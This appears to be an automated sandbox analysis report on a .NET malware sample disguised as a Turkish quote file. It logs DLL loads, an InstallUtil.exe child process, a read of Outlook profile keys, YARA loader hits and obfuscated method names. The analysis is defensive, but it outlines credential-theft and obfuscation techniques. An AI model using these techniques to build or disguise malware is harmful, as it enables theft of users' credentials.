Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Teklif-6205018797-6100052155-UUE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Teklif-6205018797-6100052155-UUE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000027FC000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003549000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2232534783.0000000005A10000.00000004.08000000.00040000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.0000000003FA7000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.00000000031B2000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000003977000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002A78000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000027FC000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003549000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2232534783.0000000005A10000.00000004.08000000.00040000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.0000000003FA7000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.00000000031B2000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000003977000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002A78000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, g36spvPwU0M3Ss1qIRI.cs

.Net Code: Type.GetTypeFromHandle(EhIm2WlCnmZKGsw35uE.Ilwox0q1P9(16777265)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(EhIm2WlCnmZKGsw35uE.Ilwox0q1P9(16777259)),Type.GetTypeFromHandle(EhIm2WlCnmZKGsw35uE.Ilwox0q1P9(16777263))})

.NET source code contains potential unpacker

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5a10000.13.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.58d0000.12.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.58d0000.12.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.58d0000.12.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.58d0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.58d0000.12.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3f03bc0.8.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3f03bc0.8.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3f03bc0.8.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3f03bc0.8.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3f03bc0.8.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.5860000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3e25f60.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2231136103.0000000005860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2206832205.0000000002538000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2446673623.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Teklif-6205018797-6100052155-UUE.exe PID: 3060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 1120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Ptqlzgvzpfa.exe PID: 2928, type: MEMORYSTR

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_057C0D13 push eax; iretd	0_2_057C0D1D
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_057C2EA7 push esp; retf	0_2_057C2EA8
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0596D1F2 push ebp; retf	0_2_0596D24D
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_059875F3 push es; retf	0_2_059875FE
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05989134 pushfd ; ret	0_2_0598913D
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05985F92 pushfd ; ret	0_2_05985FA1
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05987AF3 push ss; iretd	0_2_05987AFB
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05A061D9 pushfd ; ret	0_2_05A061DC
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05A06D6E push ecx; ret	0_2_05A06D74
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05A0363A pushfd ; retf	0_2_05A0363D
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05C71700 pushfd ; iretd	0_2_05C71701
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_062B2EA7 push esp; retf	4_2_062B2EA8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06343CF1 push es; ret	4_2_06343D18
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0642F770 push es; ret	4_2_0642F780
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0645C4E8 push es; retf	4_2_0645C4F4
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06477AF3 push ss; iretd	4_2_06477AFB
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06475F9D pushfd ; ret	4_2_06475FA1
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647D09E push ds; iretd	4_2_0647D0A5
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06479130 pushfd ; ret	4_2_0647913D
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064775F3 push es; retf	4_2_064775FE
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064F363A pushfd ; retf	4_2_064F363D
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064F6D73 push ecx; ret	4_2_064F6D74
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064F61D9 pushfd ; ret	4_2_064F61DC
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06761700 pushfd ; iretd	4_2_06761701
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0676001B push es; iretd	4_2_0676001C
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05B92EA7 push esp; retf	5_2_05B92EA8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2E42B push cs; iretd	5_2_05C2E432
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2E429 push cs; iretd	5_2_05C2E42A
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2E3E0 push cs; iretd	5_2_05C2E3E2
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D015D8 push edx; iretd	5_2_05D015DA
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D01768 push ebx; iretd	5_2_05D0176A

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, A2TGPDlILfKo8xWJaMF.cs	High entropy of concatenated method names: 'mRulxF6eZO', 'LcjloiT03V', 'bwjl0iwDN3', 'HpVlr5EC8e', 'LCAlcq03X6', 'NpwlQutL82', 'w5DlKITKGL', 'frOlGqa3Hr', 'fPrlh52W7i', 'YuRlffHmfG'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, bJPGYqaOXJdGcbquJuV.cs	High entropy of concatenated method names: 'dyCaolcUDb', 'CghqbZUKvxsAndMHiwf', 'tYNZ4iUGfn9hQ91FqNY', 'NfppTDUhDt8MBvHW65m', 'OoF37pUfMLraqYZwdTG', 'i2O8AqU9s60kfoDH33T', 'Gt6JgcUAhD8BP2tSlSx', 'pg3G4fUMAsmrv34MwyK', 'jtQEoYUEh13PY3sWiLZ', 'Gum8O9UdMRANIoCY2qW'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, Ahr2o8PZutq2IM4P9Vk.cs	High entropy of concatenated method names: 'AbrPHtBo4D', 'Y6SaQ2sJEeRAD7Blhff', 'k4hTIHsNQciKpM2OTxT', 'o5aPgSsZ9E1TyDtHK6r', 'jgsOWZsBEZhsjpHcZtL', 'LdQP6ysH3xvr1C0TVY1', 'LXSKKasTFVAmu7HqZhV', 'FGSbQFsDLZaJvroHHYh'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'PEimRsseBfTusqraovp'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, DyJrVrPC7pSV1POds8K.cs	High entropy of concatenated method names: 'gHUotlFmAP', 'rJJsc6ean7pZGkF4TAl', 'sQWqQwePE9C5GT7LqbR', 'wsfGKAe6XgRmeX6Nh7X', 'J4A6hMelKEtg60mgDj4', 'JQHANRevtmoC11gMMor', 'CbqL6Je3dllI3BALkhX', 'IF9PG3e1gwpb2TQlrnM', 'JG8tUse7jsO05vJBg1K', 'A3iWKFeS4HnQUih1qul'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, eVCAYBqJIfCwSRvDqZt.cs	High entropy of concatenated method names: 'SvNqZrryss', 'JdsqB0Uy93', 'F9NhUSws2NGY3BWNGrN', 'MqN5fSwUw7sZBqTA0QP', 'z1dEYhw21dh7fXX2i3v', 'MvW1tnweRaQURFBVNNM', 'JCDnUXwm9cv2ep0DJfP', 'KLiIl7wREoHs1vFncc0', 'A2R68VwtVIfIy4tPslO', 'y7gMidwgRYTIlMNs7FF'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, H4A50APTNSdStNWZp1R.cs	High entropy of concatenated method names: 'ppWPJ6gnHu', 'XsyPNGuKPD', 'AXfaGbsPrcXbPU4HFsa', 'sslEuMs6INig4c4yq0O', 'OBOlhjslE1WeqCe2DZQ', 'PCvFurs1BpXJNavMFBB', 'FA7IQusas17RC5GDLl8', 'Ok9I6VsvMM5242CIfU7', 'GYx9Zis7r7d1oLOpodj', 'FS8TBwsSgbvJuLtaVDt'
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.3c56210.7.raw.unpack, ao0mCGVXhw4RaqLaDVU.cs	High entropy of concatenated method names: 'xZVVj2U8ub', 'OMDVqosEmy', 'lCkV30kWJI', 'PIGVaXJVJq', 'NTHVPaVJ7G', 'zmXV6KDYuN', 'omVVlO64b2', 'OylVvZJin6', 'V2kV7qKqJN', 'OGFVSE0Wtt'
